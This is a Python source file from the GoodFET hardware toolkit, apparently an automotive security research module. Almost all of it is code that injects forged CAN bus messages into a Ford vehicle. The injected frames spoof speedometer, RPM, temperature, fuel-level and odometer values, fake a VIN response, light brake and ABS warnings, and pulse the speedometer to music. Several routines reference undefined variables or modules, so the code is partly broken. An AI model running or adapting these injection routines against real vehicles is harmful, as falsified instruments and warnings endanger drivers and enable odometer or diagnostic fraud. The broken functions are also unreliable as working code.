2987fde99bb96f9c4e40b970402e079b31288789
[goodfet] / client / FordExperiments.py
1 import sys;
2 import binascii;
3 import array;
4 import csv, time, argparse;
5 import datetime
6 import os
7 import random
8 from random import randrange
9 from GoodFETMCPCAN import GoodFETMCPCAN;
10 from experiments import experiments
11 from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication
12 from intelhex import IntelHex;
13 import Queue
14 import math
15
16 tT = time
17 class FordExperiments(experiments):
18     """
19     This class is a subclass of experiments and is a car specific module for 
20     demonstrating and testing hacks. 
21     """
22     def __init__(self, dataLocation = "../../contrib/ThayerData/"):
23         GoodFETMCPCANCommunication.__init__(self, dataLocation)
24         #super(FordExperiments,self).__init__(self) #initialize chip
25         self.freq = 500;
26
27     def mimic1056(self,packetData,runTime):
28         #setup chip
29         self.client.serInit()
30         self.spitSetup(self.freq)
31         #FIGURE out how to clear buffers
32         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
33         packet1 = self.client.rxpacket();
34         if(packet1 != None):
35             packetParsed = self.client.packet2parsed(packet1);
36         #keep sniffing till we read a packet
37         while( packet1 == None or packetParsed.get('sID') != 1056 ):
38             packet1 = self.client.rxpacket()
39             if(packet1 != None):
40                 packetParsed = self.client.packet2parsed(packet1)
41         recieveTime = time.time()
42         packetParsed = self.client.packet2parsed(packet1)
43         if( packetParsed['sID'] != 1056):
44             print "Sniffed wrong packet"
45             return
46         countInitial = ord(packetParsed['db3']) #initial count value
47         packet = []
48         #set data packet to match what was sniffed or at least what was input
49         for i in range(0,8):
50             idx = "db%d"%i
51             if(packetData.get(idx) == None):
52                 packet.append(ord(packetParsed.get(idx)))
53             else:
54                 packet.append(packetData.get(idx))
55         print packet
56         #### split SID into different regs
57         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
58         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
59         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
60                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
61                   # lower nibble is DLC                   
62                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
63         packetCount = 1;
64         self.client.txpacket(packet);
65         tpast = time.time()
66         while( (time.time()-recieveTime) < runTime):
67             #care about db3 or packet[8] that we want to count at the rate that it is
68             dT = time.time()-tpast
69             if( dT/0.2 >= 1):
70                 db3 = (countInitial + math.floor((time.time()-recieveTime)/0.2))%255
71                 packet[8] = db3
72                 self.client.txpacket(packet)
73                 packetCount += 1
74             else:
75                 packetCount += 1
76                 self.client.MCPrts(TXB0=True)
77             tpast = time.time()  #update our transmit time on the one before   
78             
79                 
80          
81     def cycledb1_1056(self,runTime):
82         #setup chip
83         self.client.serInit()
84         self.spitSetup(500)
85         #FIGURE out how to clear buffers
86         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
87         packet1 = self.client.rxpacket();
88         if(packet1 != None):
89             packetParsed = self.client.packet2parsed(packet1);
90         #keep sniffing till we read a packet
91         while( packet1 == None or packetParsed.get('sID') != 1056 ):
92             time.sleep(.1)
93             packet1 = self.client.rxpacket()
94             if(packet1 != None):
95                 packetParsed = self.client.packet2parsed(packet1)
96         recieveTime = time.time()
97         packetParsed = self.client.packet2parsed(packet1)
98         if( packetParsed['sID'] != 1056):
99             print "Sniffed wrong packet"
100             return
101         packet = []
102         #set data packet to match what was sniffed or at least what was input
103         for i in range(0,8):
104             idx = "db%d"%i
105             packet.append(ord(packetParsed.get(idx)))
106         packetValue = 0
107         packet[1] = packetValue;
108         
109         print packet
110         #### split SID into different regs
111         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
112         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
113         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
114                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
115                   # lower nibble is DLC                   
116                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
117         packetCount = 1;
118         self.client.txpacket(packet);
119         tpast = time.time()
120         while( (time.time()-recieveTime) < runTime):
121             #care about db3 or packet[8] that we want to count at the rate that it is
122             dT = time.time()-tpast
123             packetValue += 10
124             pV = packetValue%255
125             #temp = ((packetValue+1))%2
126             #if( temp == 1):
127             #    pV = packetValue%255
128             #else:
129             #    pV = 0
130             packet[6] = pV
131             #packet[6] = 1
132             print packet
133             self.client.txpacket(packet)
134             packetCount += 1
135             tpast = time.time()  #update our transmit time on the one before   
136         print packetCount;
137         
138     def getBackground(self,sId):
139         """
140         This method gets the background packets for the given id. This
141         is a simple "background" retriever in that it returns the packet
142         that is of the given id that was sniffed off the bus.
143         """
144         packet1 = self.client.rxpacket();
145         if(packet1 != None):
146             packetParsed = self.client.packet2parsed(packet1);
147         #keep sniffing till we read a packet
148         startTime = time.time()
149         while( packet1 == None or packetParsed.get('sID') != sId and (time.time() - startTime) < 20):
150             packet1 = self.client.rxpacket()
151             if(packet1 != None):
152                 packetParsed = self.client.packet2parsed(packet1)
153             
154         #recieveTime = time.time()
155         return packetParsed
156
157     def cycle4packets1279(self):
158         self.client.serInit()
159         self.spitSetup(500)
160         # filter on 1279
161         self.addFilter([1279, 1279, 1279, 1279, 1279, 1279], verbose = False)
162         packetParsed = self.getBackground(1279)
163         packet = []
164         if (packetParsed[db0] == 16):
165             # if it's the first of the four packets, replace the value in db7  with 83
166             packetParsed[db7] = 83
167             # transmit new packet
168             self.client.txpacket(packetParsed)
169         else:
170         # otherwise, leave it alone
171             # transmit same pakcet we read in
172             self.client.txpacket(packetParsed)
173         # print the packet we are transmitting
174         print packetParsed
175         
176     def oscillateMPH(self,runTime):
177         self.client.serInit()
178         self.spitSetup(500)
179         #FIGURE out how to clear buffers
180         self.addFilter([513, 513, 513, 513,513, 513], verbose=False)
181         packetParsed = self.getBackground(513)
182         packet = []
183         #set data packet to match what was sniffed or at least what was input
184         for i in range(0,8):
185             idx = "db%d"%i
186             packet.append(packetParsed.get(idx))
187         packetValue = 0
188         packet[1] = packetValue;
189         
190         print packet
191         #### split SID into different regs
192         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
193         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
194         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
195                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
196                   # lower nibble is DLC                   
197                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
198         packetCount = 1;
199         self.client.txpacket(packet);
200         startTime = tT.time()
201         while( (tT.time()-startTime) < runTime):
202             dt = tT.time()-startTime
203             inputValue = ((2.0*math.pi)/20.0)*dt
204             value =         35*math.sin(inputValue)+70
205             print value
206             #if( value%4 == 0):
207             #    packet[5] = 95
208             #else:
209             #    packet[5] = 0
210             #packet[9] = int(value)
211             packet[5] = int(value)
212             print packet
213             self.client.txpacket(packet)
214             packetCount += 1
215     def oscillateTemperature(self,runTime):
216         """
217         
218         
219         """
220         #setup chip
221         self.client.serInit()
222         self.spitSetup(500)
223         #FIGURE out how to clear buffers
224         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
225         packetParsed = self.getBackground(1056)
226         packet = []
227         #set data packet to match what was sniffed or at least what was input
228         for i in range(0,8):
229             idx = "db%d"%i
230             packet.append(packetParsed.get(idx))
231         packetValue = 0
232         packet[1] = packetValue;
233         
234         print packet
235         #### split SID into different regs
236         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
237         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
238         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
239                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
240                   # lower nibble is DLC                   
241                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
242         packetCount = 1;
243         self.client.txpacket(packet);
244         startTime = tT.time()
245         while( (tT.time()-startTime) < runTime):
246             dt = tT.time()-startTime
247             inputValue = ((2.0*math.pi)/20.0)*dt
248             value = 30*math.sin(inputValue)+130
249             print value
250             #packet[5] = int(value)
251             if( value > 130 ):
252                 packet[5] = 160
253             else:
254                 packet[5] = 100
255             #packet[6] = 1
256             print packet
257             self.client.txpacket(packet)
258             packetCount += 1
259             #tpast = time.time()  #update our transmit time on the one before   
260         print packetCount;
261         
262         
263     def fakeVIN(self):
264        #reset eveything on the chip
265        self.client.serInit() 
266        self.reset()
267        duration = 20; #seconds 
268        
269        listenID = 2015
270        listenPacket = [2, 9, 6, 153, 153, 153, 153, 153]
271        responseID = 2024
272        #actual response by the car
273        #r1 = [34, 88, 0, 0, 0, 0, 0, 0]
274        #r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
275        #r3 = [16, 19, 73, 4, 1, 70, 65, 66]
276        
277        r1 = [34, 88, 0, 0, 0, 0, 0, 0]
278        r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
279        r3 = [16, 19, 73, 160, 159, 70, 65, 66]
280        
281        #format
282        SIDlow = (responseID & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
283        SIDhigh = (responseID >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
284        packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
285                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
286                   # lower nibble is DLC                   
287                  r1[0],r1[1],r1[2],r1[3],r1[4],r1[5],r1[6],r1[7]]
288        packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
289               0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
290                   # lower nibble is DLC                   
291                  r2[0],r2[1],r2[2],r2[3],r2[4],r2[5],r2[6],r2[7]]
292        packet3 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
293                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
294                   # lower nibble is DLC                   
295                  r3[0],r3[1],r3[2],r3[3],r3[4],r3[5],r3[6],r3[7]]
296
297        self.multiPacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
298
299        #filter for the correct packet
300        self.filterForPacket(listenID, listenPacket[0],listenPacket[1], verbose = True)
301        self.client.rxpacket()
302        self.client.rxpacket() # flush buffers if there is anything
303        startTime = tT.time()
304        while( (tT.time() -startTime) < duration):
305            packet = self.client.rxpacket()
306            if( packet != None):
307                sid =  ord(packet[0])<<3 | ord(packet[1])>>5
308                if( sid == listenID):
309                    byte3 = ord(packet[6])
310                    if( byte3 == listenPacket[3]):
311                        print "SendingPackets!"
312                        #send packets
313                        self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True)
314                        
315     def setScanToolTemp(self,temp):
316         self.client.serInit()
317         self.spitSetup(500)
318
319         self.addFilter([2024, 2024, 2024])
320         self.client.rxpacket()
321         self.client.rxpacket()
322         self.client.rxpacket()
323         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
324         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
325               
326         startTime = time.time()  
327         #while((time.time() - startTime) < 10):
328             
329         packet = None;
330
331         # catch a packet and check its db4 value
332         while (packet == None):
333             packet=self.client.rxpacket();
334
335         
336         newTemp = math.ceil(level/1.8 + 22)
337         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
338
339             
340         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
341                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
342                        # lower nibble is DLC                   
343                        ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
344
345         # load new packet into TXB0 and check time
346         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
347         starttime = time.time()
348         
349         # spit new value for 1 second
350         while (time.time()-starttime < 10):
351             self.multiPacketSpit(packet0rts=True)
352             
353     def overHeatEngine(self):
354         self.client.serInit()
355         self.spitSetup(500)
356
357         self.addFilter([1056, 1056, 1056])
358         packet = self.getBackground(1056)
359         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
360         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
361     
362         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
363                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
364                        # lower nibble is DLC                   
365                        0xfa,packet['db1'],packet['db2'],packet['db3'],packet['db4'],packet['db5'],packet['db6'],packet['db7']]
366         startTime = time.time()
367         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
368         while( time.time()- startTime < 10):
369             self.multiPacketSpit(packet0rts=True)
370             
371     def runOdometer(self):
372         self.client.serInit()
373         self.spitSetup(500)
374
375         self.addFilter([1056, 1056, 1056])
376         packet = self.getBackground(1056)
377         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
378         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
379         odomFuzz = random.randint(0,255)
380         print packet
381         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
382                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
383                        # lower nibble is DLC                   
384                        packet['db0'],packet['db1'],packet['db2'],packet['db3'],packet['db4'],packet['db5'],packet['db6'],packet['db7']]
385         
386         startTime = time.time()
387         packet[6] = odomFuzz;
388         while( time.time()- startTime < 10):
389             odomFuzz = random.randint(0,255)
390             newPacket[6] = odomFuzz
391             self.client.txpacket(newPacket)
392         
393     def setDashboardTemp(self, temp):
394         self.client.serInit()
395         self.spitSetup(500)
396
397         self.addFilter([1056, 1056, 1056])
398         self.client.rxpacket()
399         self.client.rxpacket()
400         self.client.rxpacket()
401         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
402         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
403               
404         startTime = time.time()  
405         #while((time.time() - startTime) < 10):
406             
407         packet = None;
408
409         # catch a packet and check its db4 value
410         while (packet == None):
411             packet=self.client.rxpacket();
412
413         
414         newTemp = math.ceil(level/1.8 + 22)
415         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
416
417             
418         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
419                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
420                        # lower nibble is DLC                   
421                        newTemp,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
422
423         # load new packet into TXB0 and check time
424         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
425         starttime = time.time()
426         
427         # spit new value for 1 second
428         while (time.time()-starttime < 10):
429             self.multiPacketSpit(packet0rts=True)
430
431       
432     def warningLightsOn(self,checkEngine, checkTransmission, transmissionOverheated, engineLight, battery, fuelCap, checkBreakSystem,ABSLight):                 
433         self.addFilter([1056, 1056, 530, 530, 1056])
434         if( checkBreakSystem == 1 or ABSLight == 1):
435             SIDlow = (530 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
436             SIDhigh = (530 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
437             packet = self.getBackground(530)
438             packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
439                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
440                        # lower nibble is DLC                   
441                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
442             if( checkBreakSystem == 1 and ABSLight == 1):
443                 packet2[9] = 97
444             elif( checkBreakSystem == 0 and ABSLight == 1):
445                 packet2[9] = 16
446             elif(checkBreakSystem==1 and ABSLight == 0):
447                 packet2[9] = 64
448             packet2rts = True
449         else:
450             packet2rts = False
451             packet2 = None
452         print packet2
453         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
454         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
455         packet = self.getBackground(1056)
456         packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
457                    0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
458                    # lower nibble is DLC                   
459                    ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
460         if( checkEngine == 1):
461             packet1[9] += 2;
462             print packet1
463         if( checkTransmission == 1):
464             packet1[9] += 3;
465             print packet1
466         if( transmissionOverheated == 1):
467             packet1[9] += 4
468             print packet1
469         if( engineLight == 1):
470             packet1[9] += 64
471             print packet1
472         if( fuelCap == 1):
473             packet1[10] = 255
474             print packet1
475         if( batter == 1):
476             packet1[6] = 33
477             print packet1
478         # load new packet into TXB0 and check time
479         self.multiPacketSpit(packet0=packet1,packet1=packet2, packet0rts=True,packet1rts=packet2rts )
480         starttime = time.time()
481         
482         # spit new value for 1 second
483         while ((time.time()-starttime) < 10):
484             self.multiPacketSpit(packet0rts=True,packet1rts = packet2rts)
485     
486     def fakeScanToolFuelLevel(self,level):
487         self.client.serInit()
488         self.spitSetup(500)
489
490         self.addFilter([2024, 2024, 2024])
491         self.client.rxpacket()
492         self.client.rxpacket()
493         self.client.rxpacket()
494         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
495         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
496               
497         startTime = time.time()  
498         #while((time.time() - startTime) < 10):
499             
500         packet = None;
501
502         # catch a packet and check its db4 value
503         while (packet == None):
504             packet=self.client.rxpacket();
505
506         level = int(level/.4)
507         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
508
509             
510         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
511                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
512                        # lower nibble is DLC                   
513                        3,65,47,level,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
514
515         # load new packet into TXB0 and check time
516         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
517         starttime = time.time()
518         
519         # spit new value for 1 second
520         while (time.time()-starttime < 10):
521             self.multiPacketSpit(packet0rts=True)
522             
523     def fakeOutsideTemp(self,level):
524         self.client.serInit()
525         self.spitSetup(500)
526
527         self.addFilter([2024, 2024, 2024,2024,2024,2024])
528         self.client.rxpacket()
529         self.client.rxpacket()
530         self.client.rxpacket()
531         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
532         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
533               
534         startTime = time.time()  
535         #while((time.time() - startTime) < 10):
536             
537         packet = None;
538
539         # catch a packet and check its db4 value
540         while (packet == None):
541             packet=self.client.rxpacket();
542         
543         newTemp = int(math.ceil(level/1.8 + 22))
544         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
545         print newTemp
546         
547         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
548                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
549                        # lower nibble is DLC                   
550                        03,65,70,newTemp,0,0,0,0]
551
552         # load new packet into TXB0 and check time
553         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
554         starttime = time.time()
555         print newPacket
556         # spit new value for 1 second
557         while (time.time()-starttime < 10):
558             self.multiPacketSpit(packet0rts=True)
559
560     
561     def fakeAbsTps(self,level):
562         self.client.serInit()
563         self.spitSetup(500)
564
565         self.addFilter([2024, 2024, 2024])
566         self.client.rxpacket()
567         self.client.rxpacket()
568         self.client.rxpacket()
569         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
570         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
571               
572         startTime = time.time()  
573         #while((time.time() - startTime) < 10):
574             
575         packet = None;
576
577         # catch a packet and check its db4 value
578         while (packet == None):
579             packet=self.client.rxpacket();
580
581         abstps = int(math.ceil(level/.39))
582
583
584             
585         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
586                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
587                        # lower nibble is DLC                   
588                        ord(packet[5]),ord(packet[6]),ord(packet[7]),abstps,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
589
590         # load new packet into TXB0 and check time
591         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
592         starttime = time.time()
593         
594         # spit new value for 1 second
595         while (time.time()-starttime < 10):
596             self.multiPacketSpit(packet0rts=True)
597
598
599                        
600     def mphToByteValue(self, mph):
601         return ( mph + 63.5 ) / 1.617
602
603     def ByteValuToMph(self, value):
604         return 1.617*ord(packet[9]) - 63.5
605
606     def setMPH(self, mph):
607         self.client.serInit()
608         self.spitSetup(500)
609
610         self.addFilter([513, 513, 513])
611         self.client.rxpacket()
612         self.client.rxpacket()
613         self.client.rxpacket()
614         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
615         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
616               
617         startTime = time.time()  
618         #while((time.time() - startTime) < 10):
619             
620         packet = None;
621
622         # catch a packet and check its db4 value
623         while (packet == None):
624             packet=self.client.rxpacket();
625         
626         #print self.client.packet2str(packet)
627
628         #print "DB4 = %02d " %ord(packet[9])
629        
630         #print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
631             
632         # calculate our new mph and db4 value
633         
634         newSpeed = self.mphToByteValue(mph)
635         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
636
637             
638         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
639                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
640                        # lower nibble is DLC                   
641                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
642
643         # load new packet into TXB0 and check time
644         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
645         starttime = time.time()
646         
647         # spit new value for 1 second
648         while (time.time()-starttime < 10):
649             self.multiPacketSpit(packet0rts=True)
650
651
652     def speedometerHack(self, inputs):
653         
654         self.client.serInit()
655         self.spitSetup(500)
656
657         self.addFilter([513, 513, 513])
658         
659         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
660         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
661                 
662        #while(1):
663             
664         packet = None;
665
666         # catch a packet and check its db4 value
667         while (packet == None):
668             packet=self.client.rxpacket();
669         
670         print self.client.packet2str(packet)
671
672         print "DB4 = %02d " %ord(packet[9])
673         mph = 1.617*ord(packet[9]) - 63.5
674         print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
675             
676         # calculate our new mph and db4 value
677         mph = mph + inputs[0];
678         newSpeed = ( mph + 63.5 ) / 1.617
679         print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
680
681             
682         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
683                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
684                        # lower nibble is DLC                   
685                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
686
687         # load new packet into TXB0 and check time
688         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
689         starttime = time.time()
690         
691         # spit new value for 1 second
692         while (time.time()-starttime < 1):
693             self.multiPacketSpit(packet0rts=True)
694                 
695     def rpmToByteValue(self, rpm):
696         value = ( rpm + 61.88 ) / 64.5
697         return int(value)
698     
699     def ValueTorpm(self, value):
700         rpm = 64.5*value - 61.88
701         return rpm
702     
703     def setRPM(self, rpm):
704         self.client.serInit()
705         self.spitSetup(500)
706     
707         self.addFilter([513, 513, 513,513])
708     
709         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
710         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
711         
712         #clear buffers
713         self.client.rxpacket()
714         self.client.rxpacket()
715         self.client.rxpacket()
716
717         startTime = tT.time()
718         while((tT.time() - startTime )< 10):
719         
720             packet = None;
721         
722             # catch a packet and check its db4 value
723             while (packet == None):
724                 packet=self.client.rxpacket();
725         
726             #print self.client.packet2str(packet)
727         
728             #print "DB4 = %02d " %ord(packet[5])
729            
730             #print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
731         
732             newRPM = self.rpmToByteValue(rpm)
733             #print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
734             
735         
736             newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
737                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
738                      # lower nibble is DLC                   
739                      int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
740         
741             # load new packet into TXB0 and check time
742             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
743             starttime = time.time()
744         
745             # spit new value for 1 second
746             while (time.time()-starttime < 1):
747                 self.multiPacketSpit(packet0rts=True)
748
749     def rpmHack(self, inputs):
750         """
751         This method will increase the rpm by the given rpm amount.
752         
753         @type inputs: List
754         @param inputs: Single element of a list that corresponds to the amount the user
755                        wishses to 
756         """
757     
758         self.client.serInit()
759         self.spitSetup(500)
760     
761         self.addFilter([513, 513, 513])
762     
763         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
764         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
765         startTime = tT.time()
766         while((tT.time() - startTime )< 10):
767         
768             packet = None;
769         
770             # catch a packet and check its db4 value
771             while (packet == None):
772                 packet=self.client.rxpacket();
773         
774             print self.client.packet2str(packet)
775         
776             print "DB4 = %02d " %ord(packet[5])
777             rpm = 64.5*ord(packet[5]) - 61.88
778             print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
779         
780             # calculate our new mph and db4 value
781             rpm = rpm + inputs[0];
782             newRPM = ( rpm + 61.88 ) / 64.5
783             newRPM = int(newRPM)
784             print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
785             
786         
787             newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
788                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
789                      # lower nibble is DLC                   
790                      int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
791         
792             # load new packet into TXB0 and check time
793             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
794             starttime = time.time()
795         
796             # spit new value for 1 second
797             while (time.time()-starttime < 1):
798                 self.multiPacketSpit(packet0rts=True)
799
800     def imbeethovenbitch(self):
801         
802         
803         ### USUAL SETUP STUFF  ######
804         self.client.serInit()
805         self.spitSetup(500)
806         self.addFilter([513, 513, 513,513])
807         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
808         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
809         
810         #clear buffers
811         self.client.rxpacket()
812         self.client.rxpacket()
813         self.client.rxpacket()
814         
815         
816         packet = None;
817         
818         #catch a packet to mutate
819         while (packet == None):
820             packet=self.client.rxpacket();
821         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
822                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
823                      # lower nibble is DLC                   
824                      ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
825         
826         
827         # NOW THE FUN STUFF!!!!!
828         
829         music = wave.open("../../contrib/ted/beethovensfifth.wav", 'r');
830         print "number of frames: %d " %music.getnframes()
831         print "number of channels: %d " %music.getnchannels()
832         print "sample width: %d " %music.getsampwidth()
833         print "framerate: %d " %music.getframerate()
834         print "compression: %s " %music.getcompname()
835         
836         length = music.getnframes()
837         pos = music.tell()
838         print " NOW NOW NOW NOW NOW NOW NOW NOW NOW"
839         
840         while(pos < music.getnframes()):
841             runningaverage = 0
842             
843             pos = music.tell()
844             sample = music.readframes(8820) #approximately .2 seconds of audio --> 7133184/44100/.1
845             #print "NEXT FRAME"
846             
847             length = len(sample)
848             #print length
849             
850             for i in range(0, length,4):
851                 runningaverage += max(ord(sample[i]), ord(sample[i+2]))#ord(sample[i]) 
852             
853             avg = runningaverage/(length / 4)
854             #print avg
855             
856             
857             #print avg-165
858             val = (40 + 3*(avg-165))
859             
860             print "speedometerVal = %f " %val;
861             print "speed = %f" %(1.617*val-63.5)
862             
863             if (val > 255):
864                 val = 255
865             elif (val < 0):
866                 val = 0
867             
868             newPacket[9] = int(val)
869             
870             # load new packet into TXB0 and check time
871             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
872             starttime = time.time()
873             
874             # spit new value for 1 second
